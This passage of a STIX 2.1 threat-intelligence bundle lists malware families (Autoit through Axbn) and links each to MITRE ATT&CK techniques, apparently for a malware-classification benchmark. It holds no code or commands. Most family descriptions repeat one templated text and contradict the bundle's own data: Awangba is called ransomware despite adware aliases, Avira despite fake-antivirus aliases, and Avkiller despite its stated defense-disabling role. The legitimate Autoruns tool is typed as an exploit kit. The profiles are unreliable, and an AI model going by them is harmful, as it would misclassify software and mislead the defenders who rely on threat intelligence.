      "id": "relationship--75980ab5-9b2f-5fea-991f-0853eb3adb7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e365cb8e-947d-5eca-a68a-9d1453d4a959",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autoit exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53ea1724-6d62-5064-8971-7d8836683f8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e365cb8e-947d-5eca-a68a-9d1453d4a959",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autoit exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c98f7ad-a615-5bd5-86f7-f52a9389194f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e365cb8e-947d-5eca-a68a-9d1453d4a959",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autoit exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a76df960-0f1a-51ba-b7c6-38a32112e92a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e365cb8e-947d-5eca-a68a-9d1453d4a959",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autoit exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--13573614-24ad-5075-a887-958cfa421409",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Autoitscript",
      "description": "Autoitscript (classified in antivirus detection telemetry under designations including Trojan:Win32/Autoitscript, Trojan.Win32.Autoitscript, and Win32/Autoitscript) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Autoitscript executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Autoitscript",
        "Trojan.Win32.Autoitscript",
        "Win32/Autoitscript"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Autoitscript",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/autoitscript"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e788b5c-9d3c-5b2c-b5ba-0c42fe587847",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13573614-24ad-5075-a887-958cfa421409",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autoitscript exhibits technique T1055.012 (Process Injection: Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3bb97e1-1932-5138-bb55-b8fd1ea2d2fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13573614-24ad-5075-a887-958cfa421409",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autoitscript exhibits technique T1027 (Obfuscated Files or Information (AutoIt compilation/encryption))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--cc77f11e-b255-5f7b-94cd-4cc31b548a03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1129: Shared Modules (Direct API calls via DllCall)",
      "description": "MITRE ATT&CK Technique T1129 (Shared Modules (Direct API calls via DllCall)) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1129",
          "url": "https://attack.mitre.org/techniques/T1129/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdd97128-42b9-596b-8496-f9e0429cb241",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13573614-24ad-5075-a887-958cfa421409",
      "target_ref": "attack-pattern--cc77f11e-b255-5f7b-94cd-4cc31b548a03",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autoitscript exhibits technique T1129 (Shared Modules (Direct API calls via DllCall))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15563334-8166-56e2-a176-1e4efc21723d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--13573614-24ad-5075-a887-958cfa421409",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autoitscript exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (AutoIt similarity))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--19add0c3-0bcf-59dc-b6e2-8e679f4173ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Autophyte",
      "description": "Autophyte (classified in antivirus detection telemetry under designations including Trojan:Win32/Autophyte, Trojan.Win32.Autophyte, and Win32/Autophyte) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Autophyte executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Macro.Word.Autophyte",
        "W97M.Autophyte",
        "Virus.MSWord.Autophyte",
        "Trojan:Win32/Autophyte",
        "Trojan.Win32.Autophyte",
        "Win32/Autophyte"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Autophyte",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/autophyte"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ee11379-ee38-581b-8990-742fc2b7b05f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19add0c3-0bcf-59dc-b6e2-8e679f4173ee",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autophyte exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--432510a2-4a1d-519c-bddc-8a073b0d5849",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19add0c3-0bcf-59dc-b6e2-8e679f4173ee",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autophyte exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (VBScript within the ASP file))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--46ba3063-25cc-512e-821f-0b60931988b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1137.001: Office Template Macros",
      "description": "MITRE ATT&CK Technique T1137.001 (Office Template Macros) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1137.001",
          "url": "https://attack.mitre.org/techniques/T1137/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1621570a-53e8-5d7b-b93e-02fa2b9bd600",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--19add0c3-0bcf-59dc-b6e2-8e679f4173ee",
      "target_ref": "attack-pattern--46ba3063-25cc-512e-821f-0b60931988b1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autophyte exhibits technique T1137.001 (Office Template Macros)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0d130f75-d492-5f69-aeb3-dfd5587a06ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Autorunerent",
      "description": "Autorunerent (classified in antivirus detection telemetry under designations including Trojan:Win32/Autorunerent, Trojan.Win32.Autorunerent, and Win32/Autorunerent) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Autorunerent executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Autorunerent",
        "Trojan.Win32.Autorunerent",
        "Win32/Autorunerent"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Autorunerent",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/autorunerent"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7cde292-3b27-5ee6-a092-229eb0925e69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0d130f75-d492-5f69-aeb3-dfd5587a06ab",
      "target_ref": "attack-pattern--6ba42f78-216a-57bb-8f7c-b5271692217a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autorunerent exhibits technique T1091 (Replication Through Removable Media (The core propagation mechanism using autorun.inf))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7606b86f-7e6f-5992-a2f4-d3954e180af5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0d130f75-d492-5f69-aeb3-dfd5587a06ab",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autorunerent exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (Host persistence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0183af6-4349-51b7-bf24-6edbaedf655a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0d130f75-d492-5f69-aeb3-dfd5587a06ab",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autorunerent exhibits technique T1566.002 (Phishing: Spearphishing Link (Using fake folder .lnk files to trick users))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dcd7534d-1fbe-5520-8028-eab2512e653b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Autoruns",
      "description": "AutoRuns (tracked in antimalware telemetry under signatures including HackTool:Win32/AutoRuns, VirTool:Win32/AutoRuns, and Trojan:Win32/AutoRuns) refers to weaponized, trojanized, or unauthorized redistributions of autostart enumeration and manipulation utilities. While legitimate Sysinternals Autoruns is an industry-standard administrative utility, threat actors frequently recompile, wrap, or trojanize the tool to automate persistence auditing, locate and displace competitor malware on compromised systems, and forcibly install malicious services or registry run keys during lateral movement campaigns. Weaponized variants often incorporate embedded shellcode droppers, obfuscated command-line wrappers, or anti-EDR evasion hooks to hide unauthorized autorun modifications from security operations center (SOC) analysts. (Observed samples in benchmark: 21)",
      "is_family": true,
      "malware_types": [
        "exploit-kit"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool:Win32/AutoRuns",
        "VirTool:Win32/AutoRuns",
        "Trojan:Win32/AutoRuns",
        "Win32/AutoRuns",
        "Tool:Win32/AutoRuns"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Autoruns",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/autoruns"
        }
      ],
      "labels": [
        "hacktool",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9c1e7d7-4e69-52ff-ab98-e4af7f6365bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dcd7534d-1fbe-5520-8028-eab2512e653b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autoruns exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--640257f2-6f39-597a-b023-8e85ec9684b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dcd7534d-1fbe-5520-8028-eab2512e653b",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autoruns exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2fb24eb4-da9a-5a0d-867e-d6d58d018f90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dcd7534d-1fbe-5520-8028-eab2512e653b",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autoruns exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3843f4ef-7b57-5d74-91ca-14bdf8aa8dc9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dcd7534d-1fbe-5520-8028-eab2512e653b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autoruns exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d9158b5-586d-5332-918b-f62f1fe9d2b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dcd7534d-1fbe-5520-8028-eab2512e653b",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Autoruns exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2c788e53-023a-5ab9-a885-dafe534db56d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Avira",
      "description": "Avira (classified in antivirus detection telemetry under designations including Ransom:Win32/Avira, Ransom.Win32.Avira, and Win32/Avira) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Avira executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "FakeAV.Avira",
        "Masquerading.Avira",
        "Rogue.Avira",
        "Ransom:Win32/Avira",
        "Ransom.Win32.Avira",
        "Win32/Avira"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Avira",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/avira"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55e4d9ad-5de1-5efe-ba31-50f5c33a1d1a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c788e53-023a-5ab9-a885-dafe534db56d",
      "target_ref": "attack-pattern--f79bf5b1-78d9-5d23-a22a-0801845c009f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Avira exhibits technique T1036.003 (Masquerading: Rename System Utilities (Using folder icons for executables))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--291fa733-ac56-5754-927b-143950a1ed51",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c788e53-023a-5ab9-a885-dafe534db56d",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Avira exhibits technique T1036.005 (Match Legitimate Name or Location)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb3a0c52-9e20-5df6-944c-c2009ea32543",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c788e53-023a-5ab9-a885-dafe534db56d",
      "target_ref": "attack-pattern--08406106-d4fb-5921-81da-6d7a2609f28f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Avira exhibits technique T1480 (Execution Guardrails)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--595914f4-8631-56fd-be20-ea833ee5f994",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Avkiller",
      "description": "Avkiller (classified in antivirus detection telemetry under designations including Ransom:Win32/Avkiller, Ransom.Win32.Avkiller, and Win32/Avkiller) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Avkiller executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Avkiller",
        "Ransom.Win32.Avkiller",
        "Win32/Avkiller"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Avkiller",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/avkiller"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f01a0bf-6b62-58c5-9927-97677a057902",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--595914f4-8631-56fd-be20-ea833ee5f994",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Avkiller exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (The primary function of Avkiller))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d35ac4c5-a41a-55d8-b2c3-47d96aacdbef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--595914f4-8631-56fd-be20-ea833ee5f994",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Avkiller exhibits technique T1068 (Exploitation for Privilege Escalation (Often required to kill protected EDR processes via BYOVD))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4dd3e8c7-3ded-545c-9ea4-f5caa4737b2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--595914f4-8631-56fd-be20-ea833ee5f994",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Avkiller exhibits technique T1112 (Modify Registry (Disabling security services via policy keys))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b8c17f4a-a30b-5ac7-8fb8-f11a18fda382",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Awangba",
      "description": "Awangba (classified in antivirus detection telemetry under designations including Ransom:Win32/Awangba, Ransom.Win32.Awangba, and Win32/Awangba) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Awangba executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Awangba",
        "PUP.Wangba",
        "BrowserHijacker.Awangba",
        "Ransom:Win32/Awangba",
        "Ransom.Win32.Awangba",
        "Win32/Awangba"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Awangba",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/awangba"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8a696e6-c518-56eb-9e36-253304d1ad2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8c17f4a-a30b-5ac7-8fb8-f11a18fda382",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Awangba exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0863b12f-e4d2-5137-a565-55a5714aaa20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8c17f4a-a30b-5ac7-8fb8-f11a18fda382",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Awangba exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27ce24d9-31e9-51fd-a5e0-0f7dfc97e6fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b8c17f4a-a30b-5ac7-8fb8-f11a18fda382",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Awangba exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9fc76589-e656-5b6d-91c0-4c8df6b0ad47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Axbn",
      "description": "Axbn (classified in antivirus detection telemetry under designations including Ransom:Win32/Axbn, Ransom.Win32.Axbn, and Win32/Axbn) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Axbn executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive 